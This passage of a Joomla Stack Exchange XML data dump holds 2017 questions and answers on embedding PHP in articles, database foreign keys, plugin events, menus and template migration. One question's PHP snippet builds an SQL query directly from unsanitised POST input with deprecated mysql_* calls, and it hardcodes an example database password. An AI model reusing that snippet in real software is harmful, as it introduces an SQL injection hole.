separation I used in this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to insert css and js code to the HTML using the &lt;code&gt;JDocument&lt;/code&gt;. Afaik. these files must be in the media folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use &lt;code&gt;JForm&lt;/code&gt; to construct and validate forms. According to the docs it uses XML to describe the form. I am reading about this currently.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-02-22T11:17:11.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19193" PostTypeId="1" AcceptedAnswerId="19196" CreationDate="2017-02-22T13:42:30.070" Score="1" ViewCount="5624" Body="&lt;p&gt;I am wanting to connect to a SQL Server Instance in my article, and I have the below syntax to do such.  My issue is that when I view the article it writes&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;.$row['book_name'].&quot;&lt;br&gt;&#xA;  &quot;; } ?&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;onto the screen instead of interpreting it as part of the code.  This is the code that I have, what do I need to alter so that the Joomla Article interprets this properly?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//provide your hostname, username and dbname&#xA;$host=&quot;&quot;; &#xA;$username=&quot;&quot;;  &#xA;$password=&quot;&quot;;&#xA;$db_name=&quot;&quot;; &#xA;//$con=mysql_connect(&quot;$host&quot;, &quot;$username&quot;, &quot;$password&quot;)or die(&quot;cannot connect&quot;);&#xA;$con=mysql_connect(&quot;$host&quot;, &quot;$username&quot;, &quot;$password&quot;);&#xA;mysql_select_db(&quot;$db_name&quot;);&#xA;$book_name = $_POST['book_name'];&#xA;$sql = &quot;select book_name from book_mast where book_name LIKE '$book_name%'&quot;;&#xA;$result = mysql_query($sql);&#xA;while($row=mysql_fetch_array($result))&#xA;{&#xA;echo &quot;&amp;lt;p&amp;gt;&quot;.$row['book_name'].&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;Updated to use JFactory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('Top 1 employer')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#[Roster].[dbo].[Employers]')); &#xA;$db-&amp;gt;setQuery($query); &#xA;$row = $db-&amp;gt;loadRow();&#xA;print_r($row);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how do I pass in the server and credentials in this set-up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;br&gt;&#xA;I have updated my code to use the &lt;code&gt;JDatabaseDriver&lt;/code&gt; since my Joomla Install and the server I want to query are on different instances.  I added in this syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    $option = array(); //prevent problems&#xA;&#xA;    $option['driver']   = 'mysql';            // Database driver name&#xA;    $option['host']     = 'db.myhost.com';    // Database host name&#xA;    $option['user']     = 'fredbloggs';       // User for database authentication&#xA;    $option['password'] = 's9(39s£h[%dkFd';   // Password for database authentication&#xA;    $option['database'] = 'bigdatabase';      // Database name&#xA;    $option['prefix']   = 'abc_';             // Database prefix (may be empty)&#xA;&#xA;    $db = JDatabaseDriver::getInstance( $option );&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('Top 1 employer')));&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#[Roster].[dbo].[Employers]')); &#xA;    $db-&amp;gt;setQuery($query); &#xA;    $row = $db-&amp;gt;loadRow();&#xA;    print_r($row);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now I get displayed on screen on page load everything after &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;getQuery(true);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="9728" LastEditorUserId="126" LastEditDate="2017-02-24T17:23:15.847" LastActivityDate="2017-02-24T17:23:15.847" Title="Adding PHP In Article" Tags="|joomla-3.x|php|articles|extensions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19194" PostTypeId="1" AcceptedAnswerId="19198" CreationDate="2017-02-22T14:14:52.537" Score="1" ViewCount="114" Body="&lt;p&gt;As it's obvious, &lt;code&gt;joomla&lt;/code&gt; doesn't use relation views and foreign keys. It seems that everything is handling in the application level (not in the database).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a reference value can be deleted , and still the foreign key can exists! It violates the databases rules. Isn't it?&lt;/p&gt;&#xA;" OwnerUserId="7654" LastActivityDate="2017-02-22T19:44:54.770" Title="Why joomla doesn't use relation views and foreign keys?" Tags="|joomla-3.x|joomla-2.5|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19195" PostTypeId="2" ParentId="16897" CreationDate="2017-02-22T18:02:32.180" Score="2" Body="&lt;p&gt;I don't know the plugin and am not entirely sure I can think what you might have in mind that concerns you about a possible failure of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my logic says that if a function fails under any possible conditions that could lead to a function fail, then it won't complete its operation, therefore we won't get the expected outcome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the plugin as you have described it, it simply won't add the user to his selected usergroup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's always on the good design aspect of code to take into consideration any possible errors and return an error message or something else that will be useful, if an error occurs.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;First query runs fine, while usergroup is a necessary field that must be filled out. In a custom php script, we can use sql transaction, but&#xA;  when we extend joomla plugin, how can we do this?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This sounds like a rare situation to have a failure right after executing the user save function and before making it to assign it to the selected usergroup - but if you go that far, it could be possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the scope of the plugin you use seems to be an easy-going workflow of letting users change their usergroup, than a very strict one that should never fail to assign a new registered user to a selected usergroup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such case, you can write your own registration plugin with a &lt;strong&gt;onUserBeforeSave&lt;/strong&gt; function, so you will pass the selected usergroup alongside with the user creation. Yet, I am not sure if there is a transaction involved in this workflow, so it will perform all or nothing updates in the related tables.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-02-23T07:42:25.663" LastActivityDate="2017-02-23T07:42:25.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19196" PostTypeId="2" ParentId="19193" CreationDate="2017-02-22T18:08:18.927" Score="2" Body="&lt;p&gt;I would recommend to use this plugin here Regular Labs &lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Sourcerer&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Took this from the description of the plugin page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sourcerer enables you to place PHP and any kind of HTML style code&#xA;  (including CSS and JavaScript) right into your content! Not only in&#xA;  your articles, but also in sections, categories, modules, components,&#xA;  META tags, etc.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can now just place your original codes right into your WYSIWYG&#xA;  editor. The only thing you have to do is surround the code with the&#xA;  Sourcerer tags. Easy peasy!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So now you can also use PHP scripts in your content. That opens up a&#xA;  great deal of possibilities.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Most Joomla! Text Editors will strip parts of your HTML code, like&#xA;  JavaScripts (think of statistics scripts) and movie embed tags. With&#xA;  Sourcerer you won't have these limitations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-02-22T18:08:18.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19197" PostTypeId="2" ParentId="16897" CreationDate="2017-02-22T19:33:54.017" Score="2" Body="&lt;p&gt;User plugin's &lt;code&gt;onUserAfterSave&lt;/code&gt; function does not return any value, means there will be no action taken by calling function based on result of this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In core registration, the user will be saved irrespective of the result from onUserAfterSave function. So if your logic fails in this function, the user will still be saved, although your &lt;code&gt;user group selector&lt;/code&gt; value will not be saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code which invokes this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Fire the after save event&#xA;$dispatcher-&amp;gt;trigger($this-&amp;gt;event_after_save, array($table-&amp;gt;getProperties(), false, true, null));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-02-22T19:33:54.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19198" PostTypeId="2" ParentId="19194" CreationDate="2017-02-22T19:44:54.770" Score="2" Body="&lt;p&gt;Joomla tables were initially built on MyISAM database engine of MySQL which does not support foreign keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent versions of Joomla! switched to InnoDB engine which supports foreign keys/views however to keep backward compatibility there are no foreign keys introduced.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-02-22T19:44:54.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19199" PostTypeId="2" ParentId="19183" CreationDate="2017-02-22T22:07:57.353" Score="1" Body="&lt;p&gt;I think you have a couple of options.  The notion of a 'duplicate' menu item could means several things - so to answer that bit I'll say - &lt;em&gt;sort of&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the second menu use a menu item alias to point to the first item.  The title can be the same as another item, the alias cannot be.  Your question seems to say the opposite is true, but you may mean something else.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the 2 shorter menu modules to use the main menu, and just hide the unwanted menu items with css (ie. display none).  This is what I would do if your menu stays pretty simple and stable.  It has the bonus of keeping you active menu item styles consistent and you only need one menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-22T22:07:57.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19200" PostTypeId="2" ParentId="19189" CreationDate="2017-02-22T23:20:28.187" Score="1" Body="&lt;p&gt;Clearing the Joomla cache may solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/11098&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/11098&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-02-22T23:20:28.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19201" PostTypeId="1" AcceptedAnswerId="19202" CreationDate="2017-02-22T23:22:49.443" Score="1" ViewCount="253" Body="&lt;p&gt;I'm trying to convert a relatively simple 1.5 Joomla template to work in a 3.x install. I followed the directions here: &lt;a href=&quot;https://docs.joomla.org/Migrating_a_Template_from_Joomla_1.5_to_3.x&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Migrating_a_Template_from_Joomla_1.5_to_3.x&lt;/a&gt; but it's still not working. I converted these params in &quot;params.ini&quot; to the following in the &quot;templateDetails.xml&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;widthStyle=fluid&lt;br&gt;&#xA;templateColor=grey&lt;br&gt;&#xA;showComponent=1  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;         &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;widthStyle&quot; class=&quot;&quot; type=&quot;text&quot; default=&quot;fluid&quot; label=&quot;TPL widthStyle&quot; description=&quot;widthStyle&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;templateColor&quot; class=&quot;&quot; type=&quot;color&quot; default=&quot;#808080&quot; label=&quot;TPL templateColor&quot; description=&quot;templateColor&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;showComponent&quot; class=&quot;&quot; type=&quot;checkbox&quot; default=&quot;1&quot; label=&quot;TPL showComponent&quot; description=&quot;showComponent&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA; &amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then it appeared to install fine, but the template isn't loading with this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected ';' in&#xA;  /home/x/public_html/J3/templates/siteground-j15-30/index.php on line&#xA;  60&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which seems to happen around these lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if($this-&amp;gt;countModules('right') and error-&amp;gt;getCode();quest::getCmd('layout') != 'form') : ?&amp;gt;&#xA;&amp;lt;div id=&quot;maincolumn&quot;&amp;gt;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;&amp;lt;div id=&quot;maincolumn_full&quot;&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I remove this part, I still get another error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deprecated: Non-static method JPlugin::loadLanguage() should not be&#xA;  called statically, assuming $this from incompatible context in&#xA;  /home/x/public_html/J3/templates/siteground-j15-30/index.php on line 3&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is what I've got currently after a few modifications:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.hp&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;JPlugin::loadLanguage( 'tpl_SG1' );&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot; lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot; &amp;gt;&#xA;&amp;lt;?php $app = Jfactory::getApplication();?&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;templates/system/css/system.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/template.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body id=&quot;page_bg&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;all&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;top&quot;&amp;gt;  &#xA;            &amp;lt;div class=&quot;pill_m&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;pillmenu&quot;&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user3&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;search&quot;&amp;gt;&#xA;                &amp;lt;?php if($this-&amp;gt;countModules('user4')) :?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user4&quot; /&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;middle&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;logo&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;index.php&quot;&amp;gt;&amp;lt;?php echo $app-&amp;gt;getCfg('sitename');?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;                    &amp;lt;div id=&quot;top-banner&quot;&amp;gt;&#xA;                    &amp;lt;div id=&quot;top-spacer&quot;&amp;gt;&#xA;                &amp;lt;?php if($this-&amp;gt;countModules('user1')) :?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user1&quot; style=&quot;xhtml&quot;/&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php if($this-&amp;gt;countModules('user2')) :?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user2&quot; style=&quot;xhtml&quot;/&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;div class=&quot;center&quot;&amp;gt;        &#xA;            &amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;area&quot;&amp;gt; &#xA;&#xA;                    &amp;lt;div id=&quot;content&quot;&amp;gt;  &#xA;                        &amp;lt;div id=&quot;leftcolumn&quot;&amp;gt;   &#xA;                            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;left&quot; style=&quot;rounded&quot; /&amp;gt;&#xA;                            &amp;lt;?php $sg = 'banner'; include &quot;templates.php&quot;; ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;                        &amp;lt;?php  if($this-&amp;gt;countModules('right') and $this-&amp;gt;error-&amp;gt;getCode();quest::getCmd('layout') != 'form') : ?&amp;gt;&#xA;                        &amp;lt;div id=&quot;maincolumn&quot;&amp;gt;&#xA;                        &amp;lt;?php else: ?&amp;gt;&#xA;                        &amp;lt;div id=&quot;maincolumn_full&quot;&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;div class=&quot;nopad&quot;&amp;gt;&#xA;                        &amp;lt;?php if($this-&amp;gt;countModules('user5')) :?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user5&quot; style=&quot;rounded&quot;/&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;                                &amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;                                &amp;lt;?php $params = $app-&amp;gt;getParams(); if($params-&amp;gt;get('showComponent')) : ?&amp;gt;&#xA;                                    &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;                                &amp;lt;?php endif; ?&amp;gt;&#xA;                                &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;                                &amp;lt;div id=&quot;user6&quot;&amp;gt;&#xA;                                &amp;lt;?php if($this-&amp;gt;countModules('user6')) :?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user6&quot; style=&quot;rounded&quot;/&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div id=&quot;user7&quot;&amp;gt;&#xA;                &amp;lt;?php if($this-&amp;gt;countModules('user7')) :?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user7&quot; style=&quot;rounded&quot;/&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div id=&quot;user8&quot;&amp;gt;&#xA;                &amp;lt;?php if($this-&amp;gt;countModules('user8')) :?&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user8&quot; style=&quot;rounded&quot;/&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div id=&quot;rightcolumn&quot; style=&quot;float: right;&quot;&amp;gt;&#xA;                            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;right&quot; style=&quot;rounded&quot; /&amp;gt;                                &#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;              &#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;debug&quot; /&amp;gt;    &#xA;    &amp;lt;div id=&quot;content_bottom&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;footer&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                Valid &amp;lt;a href=&quot;http://validator.w3.org/check/referer&quot;&amp;gt;XHTML&amp;lt;/a&amp;gt; and &amp;lt;a href=&quot;http://jigsaw.w3.org/css-validator/check/referer&quot;&amp;gt;CSS&amp;lt;/a&amp;gt;.&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;div id=&quot;sgf&quot;&amp;gt;&#xA;                &amp;lt;?php $sg = ''; include &quot;templates.php&quot;; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;templates.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?if( $sg == 'banner' ):?&amp;gt;&#xA;&amp;lt;div style=&quot;width:137px;text-align:center;margin:0 auto;&quot;&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;table style=&quot;width:137px;text-align:center;&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;font class=&quot;sgf1&quot;&amp;gt;Menorca Net&amp;lt;/font&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;table style=&quot;width:137px;height:16px;text-align:center;border:none;&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td width=&quot;2&quot; height=&quot;16&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&amp;lt;?else:?&amp;gt;&#xA;    &amp;lt;?php echo $app-&amp;gt;getCfg('sitename') ;?&amp;gt; 1995-2017&amp;lt;?endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;css file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html {&#xA;  height: 100%;&#xA;  margin-bottom: 0px;&#xA;}&#xA;&#xA;form {&#xA;  margin: 0;&#xA;  padding: 0;&#xA;}&#xA;&#xA;img,table {&#xA;    border: none;&#xA;}&#xA;&#xA;body {&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    line-height: 1.3em;&#xA;    margin: 0;&#xA;    padding: 0;&#xA;    font-size: 12px;&#xA;    color: #666;&#xA;    background: url(../images/bg.jpg) top left;&#xA;}&#xA;&#xA;body.contentpane {&#xA;    background: url(../images/bg.jpg) bottom left repeat-x;&#xA;}&#xA;&#xA;a:link, a:visited {&#xA;    text-decoration: underline;&#xA;    font-weight: normal;&#xA;    color: #555;&#xA;}&#xA;&#xA;a:hover {&#xA;    text-decoration: none;&#xA;    font-weight: normal;&#xA;    color: #333;&#xA;}&#xA;&#xA;input.button, .validate  {&#xA;    border: 1px solid #CCC;&#xA;    color: #666;&#xA;    font-size: 10px;&#xA;    background: #f9f9f9;&#xA;}&#xA;&#xA;input.button:hover, .validate:hover  {&#xA;&#xA;}&#xA;&#xA;p {&#xA;    margin-top: 0;&#xA;    margin-bottom: 5px;&#xA;    text-align: justify;&#xA;}&#xA;&#xA;.inputbox {&#xA;    border: 1px solid #ccc;&#xA;    color: #666;&#xA;    padding: 2px;&#xA;    background: #f4f4f4;&#xA;}&#xA;.inputbox:hover {&#xA;&#xA;}&#xA;&#xA;#search .search .inputbox {&#xA;    width: 130px;&#xA;    height: 14px;&#xA;    font-size: 11px;&#xA;    padding: 6px 0 0 18px;&#xA;    background: none;&#xA;}&#xA;&#xA;/*****************************************/&#xA;/*** Template specific layout elements ***/&#xA;/*****************************************/&#xA;#all {&#xA;    background: url(../images/gradient.jpg) top left repeat-x;&#xA;    margin: 0 auto;&#xA;    padding: 40px 0 0 0;&#xA;}&#xA;&#xA;#top {&#xA;    width: 995px;&#xA;    margin: 0 auto;&#xA;}&#xA;&#xA;#page_bg {&#xA;    padding: 0;&#xA;}&#xA;&#xA;div.center {&#xA;    text-align: center;&#xA;    margin: 0 auto;&#xA;    width: 993px;&#xA;    border-right: 1px solid #e2e2e2;&#xA;    border-left: 1px solid #e2e2e2;&#xA;}&#xA;&#xA;div#wrapper {&#xA;    margin: 0 auto;&#xA;    width: 993px;&#xA;    text-align: left;&#xA;    background: #f9f9f9 url(../images/content.jpg) top left repeat-x;&#xA;}&#xA;&#xA;#middle {&#xA;    background: url(../images/middle.jpg) top center no-repeat;&#xA;    width: 995px;&#xA;    height: 7px;&#xA;    margin: 0 auto;&#xA;    font-size: 0;&#xA;}&#xA;&#xA;#header {&#xA;    background: url(../images/header.jpg) top left repeat-x;&#xA;    width: 995px;&#xA;    margin: 0 auto;&#xA;    height: 206px;&#xA;}&#xA;&#xA;#top-banner {&#xA;float: right;&#xA;width: 728px;&#xA;margin: 10px 10px 0 0;&#xA;overflow: hidden;&#xA;}&#xA;#top-spacer {&#xA;margin: 0 0 10px 0;&#xA;}&#xA;#content {&#xA;    width: 995px;&#xA;    margin: 0 auto;&#xA;    overflow: hidden;&#xA;}&#xA;&#xA;#logo {&#xA;float: left;&#xA;    padding: 40px 0 0 40px;&#xA;    text-align: left;&#xA;    /*margin: 0 auto;*/&#xA;/*  width: 345px; */&#xA;    width: 200px;&#xA;}&#xA;&#xA;#logo a, #logo a:link, #logo a:hover {&#xA;    font-weight: normal;&#xA;    font-family: Tahoma, Verdana, sans-serif;&#xA;    font-size: 28px;&#xA;    padding: 0;&#xA;    margin: 0;&#xA;    letter-spacing: 1px;&#xA;    color: #5a8c94;&#xA;    text-decoration: none;&#xA;    outline: none;&#xA;    line-height: 36px;&#xA;}&#xA;&#xA;.pill_m {&#xA;    width: 795px;&#xA;    text-align: center;&#xA;    height: 24px;&#xA;    margin: 0 auto;&#xA;    float: left;&#xA;}&#xA;&#xA;#pillmenu {&#xA;    float: left;&#xA;    width: 800px;&#xA;}&#xA;&#xA;#pillmenu ul {&#xA;    margin: 0;&#xA;    padding: 0;&#xA;    list-style: none;&#xA;}&#xA;&#xA;#pillmenu li {&#xA;    float: left;&#xA;    margin: 0 2px 0 0;&#xA;    padding: 0;&#xA;    height: 24px;&#xA;    background: url(../images/menu_li.jpg) top right no-repeat;&#xA;}&#xA;&#xA;#pillmenu li:hover {&#xA;&#xA;}&#xA;&#xA;#pillmenu li a#active_menu-nav {&#xA;    color: #5f5f5f;&#xA;}&#xA;&#xA;#pillmenu li a {&#xA;    font-family: Verdana, sans-serif;&#xA;    font-size: 11px;&#xA;    float: left;&#xA;    display: block;&#xA;    line-height: 24px;&#xA;    padding: 0 10px 0 10px;&#xA;    color: #8f8f8f;&#xA;    text-decoration: none;&#xA;    background: url(../images/menu_li_a.jpg) top left no-repeat;&#xA;}&#xA;&#xA;#pillmenu li a:hover {&#xA;    color: 